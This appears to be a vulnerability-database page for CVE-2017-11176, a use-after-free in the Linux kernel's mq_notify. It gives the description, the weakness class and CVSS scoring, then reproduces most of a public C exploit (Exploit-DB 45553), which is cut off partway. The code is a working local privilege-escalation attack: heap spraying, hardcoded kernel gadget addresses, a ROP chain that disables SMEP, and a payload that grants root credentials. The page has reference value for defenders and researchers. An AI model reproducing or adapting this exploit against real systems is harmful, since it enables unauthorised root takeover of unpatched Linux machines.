CVE-2017-11176 Detail

CVE-2017-11176

Score / Severity

7.8

High

CVE Descriptions

The mq_notify function in the Linux kernel through 4.11.9 does not set the sock pointer to NULL upon entry into the retry logic. During a user-space close of a Netlink socket, it allows attackers to cause a denial of service (use-after-free) or possibly have unspecified other impact.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-416	Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	7.8	HIGH	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 45553

Publication date : 2018-10-01 22h00 +00:00
Author : Lexfo
EDB Verified : No

/* * CVE-2017-11176: "mq_notify: double sock_put()" by LEXFO (2018). * * DISCLAIMER: The following code is for EDUCATIONAL purpose only. Do not * use it on a system without authorizations. * * WARNING: The exploit WILL NOT work on your target, it requires modifications! * * Compile with: * * gcc -fpic -O0 -std=c99 -Wall -pthread cve-2017-11176.c -o exploit * * For a complete explanation / analysis, please read the following series: * * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html */ #define _GNU_SOURCE #include <asm/types.h> #include <mqueue.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <linux/netlink.h> #include <pthread.h> #include <errno.h> #include <stdbool.h> #include <sched.h> #include <stddef.h> #include <sys/mman.h> #include <stdint.h> // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ #define NOTIFY_COOKIE_LEN (32) #define SOL_NETLINK (270) // from [include/linux/socket.h] #define NB_REALLOC_THREADS 200 #define KMALLOC_TARGET 1024 #define MAX_SOCK_PID_SPRAY 300 #define MAGIC_NL_PID 0x11a5dcee #define MAGIC_NL_GROUPS 0x0 // ---------------------------------------------------------------------------- // avoid library wrappers #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp) #define _mmap(addr, length, prot, flags, fd, offset) syscall(__NR_mmap, addr, length, prot, flags, fd, offset) #define _munmap(addr, length) syscall(_NR_munmap, addr, length) #define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol) #define _setsockopt(sockfd, level, optname, optval, optlen) \ syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen) #define _getsockopt(sockfd, level, optname, optval, optlen) \ syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen) #define _dup(oldfd) syscall(__NR_dup, oldfd) #define _close(fd) syscall(__NR_close, fd) #define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags) #define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen) #define _getpid() syscall(__NR_getpid) #define _gettid() syscall(__NR_gettid) #define _sched_setaffinity(pid, cpusetsize, mask) \ syscall(__NR_sched_setaffinity, pid, cpusetsize, mask) #define _open(pathname, flags) syscall(__NR_open, pathname, flags) #define _read(fd, buf, count) syscall(__NR_read, fd, buf, count) #define _getsockname(sockfd, addr, addrlen) syscall(__NR_getsockname, sockfd, addr, addrlen) #define _connect(sockfd, addr, addrlen) syscall(__NR_connect, sockfd, addr, addrlen) #define _sched_yield() syscall(__NR_sched_yield) #define _lseek(fd, offset, whence) syscall(__NR_lseek, fd, offset, whence) // ---------------------------------------------------------------------------- #define PRESS_KEY() \ do { printf("[ ] press key to continue...\n"); getchar(); } while(0) #define BUILD_BUG_ON(cond) ((void)sizeof(char[1 - 2 * !!(cond)])) // ---------------------------------------------------------------------------- // target specific offset #define NLK_PID_OFFSET 0x288 #define NLK_GROUPS_OFFSET 0x2a0 #define NLK_WAIT_OFFSET 0x2b0 #define WQ_HEAD_TASK_LIST_OFFSET 0x8 #define WQ_ELMT_FUNC_OFFSET 0x10 #define WQ_ELMT_TASK_LIST_OFFSET 0x18 #define TASK_STRUCT_FILES_OFFSET 0x770 #define FILES_STRUCT_FDT_OFFSET 0x8 #define FDT_FD_OFFSET 0x8 #define FILE_STRUCT_PRIVATE_DATA_OFFSET 0xa8 #define SOCKET_SK_OFFSET 0x38 // kernel function symbols #define NL_PID_HASHFN ((void*) 0xffffffff814b6da0) #define NETLINK_TABLE_GRAB ((void*) 0xffffffff814b7ea0) #define NETLINK_TABLE_UNGRAB ((void*) 0xffffffff814b73e0) #define COMMIT_CREDS ((void*) 0xffffffff810b8ee0) #define PREPARE_KERNEL_CRED ((void*) 0xffffffff810b90c0) #define NL_TABLE_ADDR ((void*) 0xffffffff824528c0) // gadgets in [_text; _etext] #define XCHG_EAX_ESP_ADDR ((uint64_t) 0xffffffff8107b6b8) #define MOV_PTR_RDI_MIN4_EAX_ADDR ((uint64_t) 0xffffffff811513b3) #define POP_RDI_ADDR ((uint64_t) 0xffffffff8103b81d) #define MOV_RAX_RBP_ADDR ((uint64_t) 0xffffffff813606d4) #define SHR_RAX_16_ADDR ((uint64_t) 0xffffffff810621ff) #define POP_RBP_ADDR ((uint64_t) 0xffffffff811b97bf) #define MOV_RAX_CR4_LEAVE_ADDR ((uint64_t) 0xffffffff81003009) #define MOV_CR4_RDI_LEAVE_ADDR ((uint64_t) 0xffffffff8100328d) #define AND_RAX_RDX_ADDR ((uint64_t) 0xffffffff8130c249) #define MOV_EDI_EAX_ADDR ((uint64_t) 0xffffffff814f118b) #define MOV_EDX_EDI_ADDR ((uint64_t) 0xffffffff8139ca54) #define POP_RCX_ADDR ((uint64_t) 0xffffffff81004abc) #define JMP_RCX_ADDR ((uint64_t) 0xffffffff8103357c) #define THREAD_SIZE (4096 << 2) // ---------------------------------------------------------------------------- struct realloc_thread_arg { pthread_t tid; int recv_fd; int send_fd; struct sockaddr_un addr; }; struct unblock_thread_arg { int sock_fd; int unblock_fd; bool is_ready; // we can use pthread barrier instead }; struct sock_pid { int sock_fd; uint32_t pid; }; // ---------------------------------------------------------------------------- struct hlist_node { struct hlist_node *next, **pprev; }; struct hlist_head { struct hlist_node *first; }; struct nl_pid_hash { struct hlist_head* table; uint64_t rehash_time; uint32_t mask; uint32_t shift; uint32_t entries; uint32_t max_shift; uint32_t rnd; }; struct netlink_table { struct nl_pid_hash hash; void* mc_list; void* listeners; uint32_t nl_nonroot; uint32_t groups; void* cb_mutex; void* module; uint32_t registered; }; struct list_head { struct list_head *next, *prev; }; struct wait_queue_head { int slock; struct list_head task_list; }; typedef int (*wait_queue_func_t)(void *wait, unsigned mode, int flags, void *key); struct wait_queue { unsigned int flags; #define WQ_FLAG_EXCLUSIVE 0x01 void *private; wait_queue_func_t func; struct list_head task_list; }; struct socket { char pad[SOCKET_SK_OFFSET]; void *sk; }; struct file { char pad[FILE_STRUCT_PRIVATE_DATA_OFFSET]; void *private_data; }; struct fdtable { char pad[FDT_FD_OFFSET]; struct file **fd; }; struct files_struct { char pad[FILES_STRUCT_FDT_OFFSET]; struct fdtable *fdt; }; struct task_struct { char pad[TASK_STRUCT_FILES_OFFSET]; struct files_struct *files; }; struct thread_info { struct task_struct *task; char pad[0]; }; // ---------------------------------------------------------------------------- typedef void (*netlink_table_grab_func)(void); typedef void (*netlink_table_ungrab_func)(void); typedef struct hlist_head* (*nl_pid_hashfn_func)(struct nl_pid_hash *hash, uint32_t pid); typedef int (*commit_creds_func)(void *new); typedef void* (*prepare_kernel_cred_func)(void *daemon); #define netlink_table_grab() \ (((netlink_table_grab_func)(NETLINK_TABLE_GRAB))()) #define netlink_table_ungrab() \ (((netlink_table_ungrab_func)(NETLINK_TABLE_UNGRAB))()) #define nl_pid_hashfn(hash, pid) \ (((nl_pid_hashfn_func)(NL_PID_HASHFN))(hash, pid)) #define commit_creds(cred) \ (((commit_creds_func)(COMMIT_CREDS))(cred)) #define prepare_kernel_cred(daemon) \ (((prepare_kernel_cred_func)(PREPARE_KERNEL_CRED))(daemon)) // ---------------------------------------------------------------------------- static volatile size_t g_nb_realloc_thread_ready = 0; static volatile size_t g_realloc_now = 0; static volatile char g_realloc_data[KMALLOC_TARGET]; static volatile struct list_head g_fake_next_elt; static volatile struct wait_queue *g_uland_wq_elt; static volatile char *g_fake_stack; static volatile uint64_t saved_esp; static volatile uint64_t saved_rbp_lo; static volatile uint64_t saved_rbp_hi; static volatile uint64_t restored_rbp; static volatile uint64_t restored_rsp; static struct sock_pid g_target; static struct sock_pid g_guard; static int unblock_fd = 1; // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ #define get_thread_info(thread_stack_ptr) \ ((struct thread_info*) (thread_stack_ptr & ~(THREAD_SIZE - 1))) #define get_current(thread_stack_ptr) \ ((struct task_struct*) (get_thread_info(thread_stack_ptr)->task)) static void payload(void) { struct task_struct *current = get_current(restored_rsp); struct socket *sock = current->files->fdt->fd[unblock_fd]->private_data; void *sk; sk = sock->sk; // keep it for list walking sock->sk = NULL; // fix the 'sk' dangling pointer // lock all hash tables netlink_table_grab(); // retrieve NETLINK_USERSOCK's hash table struct netlink_table *nl_table = * (struct netlink_table**)NL_TABLE_ADDR; // deref it! struct nl_pid_hash *hash = &(nl_table[NETLINK_USERSOCK].hash); // retrieve the bucket list struct hlist_head *bucket = nl_pid_hashfn(hash, g_target.pid); // walk the bucket list struct hlist_node *cur; struct hlist_node **pprev = &bucket->first; for (cur = bucket->first; cur; pprev = &cur->next, cur = cur->next) { // is this our target ? if (cur == (struct hlist_node*)sk) { // fix the 'next' and 'pprev' field if (cur->next == (struct hlist_node*)KMALLOC_TARGET) // 'cmsg_len' value (reallocation) cur->next = NULL; // first scenario: was the last element in the list cur->pprev = pprev; // __hlist_del() operation (dangling pointers fix up) *(cur->pprev) = cur->next; if (cur->next) cur->next->pprev = pprev; hash->entries--; // make it clean // stop walking break; } } // release the lock netlink_table_ungrab(); // privilege (de-)escalation commit_creds(prepare_kernel_cred(NULL)); } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ /* * Migrates the current thread to CPU#0. * * Returns 0 on success, -1 on error. */ static int migrate_to_cpu0(void) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set); if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1) { perror("[-] sched_setaffinity"); return -1; } return 0; } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ /* * Creates a NETLINK_USERSOCK netlink socket, binds it and retrieves its pid. * Argument @sp must not be NULL. * * Returns 0 on success, -1 on error. */ static int create_netlink_candidate(struct sock_pid *sp) { struct sockaddr_nl addr = { .nl_family = AF_NETLINK, .nl_pad = 0, .nl_pid = 0, // zero to use netlink_autobind() .nl_groups = 0 // no groups }; size_t addr_len = sizeof(addr); if ((sp->sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) == -1) { perror("[-] socket"); goto fail; } if (_bind(sp->sock_fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) { perror("[-] bind"); goto fail_close; } if (_getsockname(sp->sock_fd, &addr, &addr_len)) { perror("[-] getsockname"); goto fail_close; } sp->pid = addr.nl_pid; return 0; fail_close: close(sp->sock_fd); fail: sp->sock_fd = -1; sp->pid = -1; return -1; } // ---------------------------------------------------------------------------- /* * Parses @proto hash table from '/proc/net/netlink' and allocates/fills the * @pids array. The total numbers of pids matched is stored in @nb_pids. * * A typical output looks like: * * $ cat /proc/net/netlink * sk Eth Pid Groups Rmem Wmem Dump Locks Drops * ffff88001eb47800 0 0 00000000 0 0 (null) 2 0 * ffff88001fa65800 6 0 00000000 0 0 (null) 2 0 * * Every line is printed from netlink_seq_show(): * * seq_printf(seq, "%p %-3d %-6d %08x %-8d %-8d %p %-8d %-8d\n" * * Returns 0 on success, -1 on error. */ static int parse_proc_net_netlink(int **pids, size_t *nb_pids, uint32_t proto) { int proc_fd; char buf[4096]; int ret; char *ptr; char *eol_token; size_t nb_bytes_read = 0; size_t tot_pids = 1024; *pids = NULL; *nb_pids = 0; if ((*pids = calloc(tot_pids, sizeof(**pids))) == NULL) { perror("[-] not enough memory"); goto fail; } memset(buf, 0, sizeof(buf)); if ((proc_fd = _open("/proc/net/netlink", O_RDONLY)) < 0) { perror("[-] open"); goto fail; } read_next_block: if ((ret = _read(proc_fd, buf, sizeof(buf))) < 0) { perror("[-] read"); goto fail_close; } else if (ret == 0) // no more line to read { goto parsing_complete; } ptr = buf; if (strstr(ptr, "sk") != NULL) // this is the first line { if ((eol_token = strstr(ptr, "\n")) == NULL) { // XXX: we don't handle this case, we can't even read one line... printf("[-] can't find end of first line\n"); goto fail_close; } nb_bytes_read += eol_token - ptr + 1; ptr = eol_token + 1; // skip the first line } parse_next_line: // this is a "normal" line if ((eol_token = strstr(ptr, "\n")) == NULL) // current line is incomplete { if (_lseek(proc_fd, nb_bytes_read, SEEK_SET) == -1) { perror("[-] lseek"); goto fail_close; } goto read_next_block; } else { void *cur_addr; int cur_proto; int cur_pid; sscanf(ptr, "%p %d %d", &cur_addr, &cur_proto, &cur_pid); if (cur_proto == proto) { if (*nb_pids >= tot_pids) // current array is not big enough, make it grow { tot_pids *= 2; if ((*pids = realloc(*pids, tot_pids * sizeof(int))) == NULL) { printf("[-] not enough memory\n"); goto fail_close; } } *(*pids + *nb_pids) = cur_pid; *nb_pids = *nb_pids + 1; } nb_bytes_read += eol_token - ptr + 1; ptr = eol_token + 1; goto parse_next_line; } parsing_complete: close(proc_fd); return 0; fail_close: close(proc_fd); fail: if (*pids != NULL) free(*pids); *nb_pids = 0; return -1; } // ---------------------------------------------------------------------------- /* * Prepare multiple netlink sockets and search "adjacent" ones. Arguments * @target and @guard must not be NULL. * * Returns 0 on success, -1 on error. */ static int find_netlink_candidates(struct sock_pid *target, struct sock_pid *guard) { struct sock_pid candidates[MAX_SOCK_PID_SPRAY]; int *pids = NULL; size_t nb_pids; int i, j; int nb_owned; int ret = -1; target->sock_fd = -1; guard->sock_fd = -1; // allocate a bunch of netlink sockets for (i = 0; i < MAX_SOCK_PID_SPRAY; ++i) { if (create_netlink_candidate(&candidates[i])) { printf("[-] failed to create a new candidate\n"); goto release_candidates; } } printf("[+] %d candidates created\n", MAX_SOCK_PID_SPRAY); if (parse_proc_net_netlink(&pids, &nb_pids, NETLINK_USERSOCK)) { printf("[-] failed to parse '/proc/net/netlink'\n"); goto release_pids; } printf("[+] parsing '/proc/net/netlink' complete\n"); // find two consecutives pid that we own (slow algorithm O(N*M)) i = nb_pids; while (--i > 0) { guard->pid = pids[i]; target->pid = pids[i - 1]; nb_owned = 0; // the list is not ordered by pid, so we do a full walking for (j = 0; j < MAX_SOCK_PID_SPRAY; ++j) { if (candidates[j].pid == guard->pid) { guard->sock_fd = candidates[j].sock_fd; nb_owned++; } else if (candidates[j].pid == target->pid) { target->sock_fd = candidates[j].sock_fd; nb_owned++; } if (nb_owned == 2) goto found; } // reset sock_fd to release them guard->sock_fd = -1; target->sock_fd = -1; } // we didn't found any valid candidates, release and quit goto release_pids; found: printf("[+] adjacent candidates found!\n"); ret = 0; // we succeed release_pids: i = MAX_SOCK_PID_SPRAY; // reset the candidate counter for release if (pids != NULL) free(pids); release_candidates: while (--i >= 0) { // do not release the target/guard sockets if ((candidates[i].sock_fd != target->sock_fd) && (candidates[i].sock_fd != guard->sock_fd)) { close(candidates[i].sock_fd); } } return ret; } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ static void* unblock_thread(void *arg) { struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg; int val = 3535; // need to be different than zero // notify the main thread that the unblock thread has been created. It *must* // directly call mq_notify(). uta->is_ready = true; sleep(5); // gives some time for the main thread to block printf("[ ][unblock] closing %d fd\n", uta->sock_fd); _close(uta->sock_fd); printf("[ ][unblock] unblocking now\n"); if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val))) perror("[+] setsockopt"); return NULL; } // ---------------------------------------------------------------------------- static int decrease_sock_refcounter(int sock_fd, int unblock_fd) { pthread_t tid; struct sigevent sigev; struct unblock_thread_arg uta; char sival_buffer[NOTIFY_COOKIE_LEN]; // initialize the unblock thread arguments uta.sock_fd = sock_fd; uta.unblock_fd = unblock_fd; uta.is_ready = false; // initialize the sigevent structure memset(&sigev, 0, sizeof(sigev)); sigev.sigev_notify = SIGEV_THREAD; sigev.sigev_value.sival_ptr = sival_buffer; sigev.sigev_signo = uta.sock_fd; printf("[ ] creating unblock thread...\n"); if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0) { perror("[-] pthread_create"); goto fail; } while (uta.is_ready == false) // spinlock until thread is created ; printf("[+] unblocking thread has been created!\n"); printf("[ ] get ready to block\n"); if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF)) { perror("[-] mq_notify"); goto fail; } printf("[+] mq_notify succeed\n"); return 0; fail: return -1; } // ---------------------------------------------------------------------------- static int fill_receive_buffer(struct sock_pid *target, struct sock_pid *guard) { char buf[1024*10]; int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF struct sockaddr_nl addr = { .nl_family = AF_NETLINK, .nl_pad = 0, .nl_pid = target->pid, // use the target's pid .nl_groups = 0 // no groups }; struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf) }; struct msghdr mhdr = { .msg_name = &addr, .msg_namelen = sizeof(addr), .msg_iov = &iov, .msg_iovlen = 1, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0, }; printf("[ ] preparing blocking netlink socket\n"); if (_setsockopt(target->sock_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size))) perror("[-] setsockopt"); // no worry if it fails, it is just an optim. else printf("[+] receive buffer reduced\n"); printf("[ ] flooding socket\n"); while (_sendmsg(guard->sock_fd, &mhdr, MSG_DONTWAIT) > 0) ; if (errno != EAGAIN) { perror("[-] sendmsg"); goto fail; } printf("[+] flood completed\n"); printf("[+] blocking socket ready\n"); return 0; fail: printf("[-] failed to prepare blocking socket\n"); return -1; } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ // ROP-chains #define STORE_EAX(addr) \ *stack++ = POP_RDI_ADDR; \ *stack++ = (uint64_t)addr + 4; \ *stack++ = MOV_PTR_RDI_MIN4_EAX_ADDR; #define SAVE_ESP(addr) \ STORE_EAX(addr); #define SAVE_RBP(addr_lo, addr_hi) \ *stack++ = MOV_RAX_RBP_ADDR; \ STORE_EAX(addr_lo); \ *stack++ = SHR_RAX_16_ADDR; \ *stack++ = SHR_RAX_16_ADDR; \ STORE_EAX(addr_hi); #define CR4_TO_RAX() \ *stack++ = POP_RBP_ADDR; \ *stack = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \ *stack++ = MOV_RAX_CR4_LEAVE_ADDR; \ *stack++ = 0xdeadbeef; // dummy RBP value! #define RDI_TO_CR4() \ *stack++ = POP_RBP_ADDR; \ *stack = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \ *stack++ = MOV_CR4_RDI_LEAVE_ADDR; \ *stack++ = 0xdeadbeef; // dummy RBP value! #define SMEP_MASK (~((uint64_t)(1 << 20))) // 0xffffffffffefffff #define DISABLE_SMEP() \ CR4_TO_RAX(); \ *stack++ = POP_RDI_ADDR; \ *stack++ = SMEP_MASK; \ *stack++ = MOV_EDX_EDI_ADDR; \ *stack++ = AND_RAX_RDX_ADDR; \ *stack++ = MOV_EDI_EAX_ADDR; \ RDI_TO_CR4(); #define JUMP_TO(addr) \ *stack++ = POP_RCX_ADDR; \ *stack++ = (uint64_t) addr; \ *stack++ = JMP_RCX_ADDR; // ---------------------------------------------------------------------------- extern void userland_entry(void); // make GCC happy static __attribute__((unused)) void wrapper(void) { // avoid the prologue __asm__ volatile( "userland_entry:" :: ); // reconstruct original rbp/rsp restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo); restored_rsp = ((saved_rbp_hi << 32) | saved_esp); __asm__ volatile( "movq %0, %%rax\n" "movq %%rax, %%rbp\n" :: "m"(restored_rbp) ); __asm__ volatile( "movq %0, %%rax\n" "movq %%rax, %%rsp\n" :: "m"(restored_rsp) ); uint64_t ptr = (uint64_t) &payload; __asm__ volatile( "movq %0, %%rax\n" "call *%%rax\n" :: "m"(ptr) ); // arbitrary call primitive requires a non-null return value (i.e. non zero RAX register) __asm__ volatile( "movq $5555, %%rax\n" :: ); // avoid the epilogue and the "leave" instruction __asm__ volatile( "ret" :: ); } // ---------------------------------------------------------------------------- static void build_rop_chain(uint64_t *stack) { memset((void*)stack, 0xaa, 4096); SAVE_ESP(&saved_esp); SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi); DISABLE_SMEP(); JUMP_TO(&userland_entry); } // ---------------------------------------------------------------------------- static int allocate_uland_structs(void) { // arbitrary value, must not collide with already mapped memory (/proc/<PID>/maps) void *starting_addr = (void*) 0x20000000; size_t max_try = 10; retry: if (max_try-- <= 0) { printf("[-] failed to allocate structures at fixed location\n"); return -1; } starting_addr += 4096; g_fake_stack = (char*) _mmap(starting_addr, 4096, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0); if (g_fake_stack == MAP_FAILED) { perror("[-] mmap"); goto retry; } g_uland_wq_elt = (struct wait_queue*) _mmap(g_fake_stack + 0x100000000, 4096, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0); if (g_uland_wq_elt == MAP_FAILED) { perror("[-] mmap"); munmap((void*)g_fake_stack, 4096); goto retry; } // paranoid check if ((char*)g_uland_wq_elt != ((char*)g_fake_stack + 0x100000000)) { munmap((void*)g_fake_stack, 4096); munmap((void*)g_uland_wq_elt, 4096); goto retry; } printf("[+] userland structures allocated:\n"); printf("[+] g_uland_wq_elt = %p\n", g_uland_wq_elt); printf("[+] g_fake_stack = %p\n", g_fake_stack); return 0; } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ static bool can_use_realloc_gadget(void) { int fd; int ret; bool usable = false; char buf[32]; if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0) { perror("[-] open"); // TODO: fallback to sysctl syscall return false; // we can't conclude, try it anyway or not ? } memset(buf, 0, sizeof(buf)); if ((ret = _read(fd, buf, sizeof(buf))) <= 0) { perror("[-] read"); goto out; } printf("[ ] optmem_max = %s", buf); if (atol(buf) > 512) // only test if we can use the kmalloc-1024 cache usable = true; out: _close(fd); return usable; } // ---------------------------------------------------------------------------- static int init_realloc_data(void) { struct cmsghdr *first; int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET]; void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET]; struct wait_queue_head *nlk_wait = (struct wait_queue_head*) &g_realloc_data[NLK_WAIT_OFFSET]; memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data)); // necessary to pass checks in __scm_send() first = (struct cmsghdr*) &g_realloc_data; first->cmsg_len = sizeof(g_realloc_data); first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg first->cmsg_type = 1; // <---- ARBITRARY VALUE // used by reallocation checker *pid = MAGIC_NL_PID; *groups = MAGIC_NL_GROUPS; // the first element in nlk's wait queue is our userland element (task_list field!) BUILD_BUG_ON(offsetof(struct wait_queue_head, task_list) != WQ_HEAD_TASK_LIST_OFFSET); nlk_wait->slock = 0; nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt->task_list; nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt->task_list; // initialise the "fake" second element (because of list_for_each_entry_safe()) g_fake_next_elt.next = (struct list_head*)&g_fake_next_elt; // point to itself g_fake_next_elt.prev = (struct list_head*)&g_fake_next_elt; // point to itself // initialise the userland wait queue element BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET); BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET); g_uland_wq_elt->flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call g_uland_wq_elt->private = NULL; // unused g_uland_wq_elt->func = (wait_queue_func_t) XCHG_EAX_ESP_ADDR; // <----- arbitrary call! g_uland_wq_elt->task_list.next = (struct list_head*)&g_fake_next_elt; g_uland_wq_elt->task_list.prev = (struct list_head*)&g_fake_next_elt; printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt->func); return 0; } // ---------------------------------------------------------------------------- static bool check_realloc_succeed(int sock_fd, int magic_pid, unsigned long magic_groups) { struct sockaddr_nl addr; size_t addr_len = sizeof(addr); memset(&addr, 0, sizeof(addr)); // this will invoke "netlink_getname()" (uncontrolled read) if (_getsockname(sock_fd, &addr, &addr_len)) { perror("[-] getsockname"); goto fail; } printf("[ ] addr_len = %lu\n", addr_len); printf("[ ] addr.nl_pid = %d\n", addr.nl_pid); printf("[ ] magic_pid = %d\n", magic_pid); if (addr.nl_pid != magic_pid) { printf("[-] magic PID does not match!\n"); goto fail; } if (addr.nl_groups != magic_groups) { printf("[-] groups pointer does not match!\n"); goto fail; } return true; fail: printf("[-] failed to check realloc success status!\n"); return false; } // ---------------------------------------------------------------------------- static int init_unix_sockets(struct realloc_thread_arg * rta) { struct timeval tv; static int sock_counter = 0; if (((rta->recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) || ((rta->send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)) { perror("[-] socket"); goto fail; } // bind an "abstract" socket (first byte is NULL) memset(&rta->addr, 0, sizeof(rta->addr)); rta->addr.sun_family = AF_UNIX; sprintf(rta->addr.sun_path + 1, "sock_%lx_%d", _gettid(), ++sock_counter); if (_bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) { perror("[-] bind"); goto fail; } if (_connect(rta->send_fd, (struct 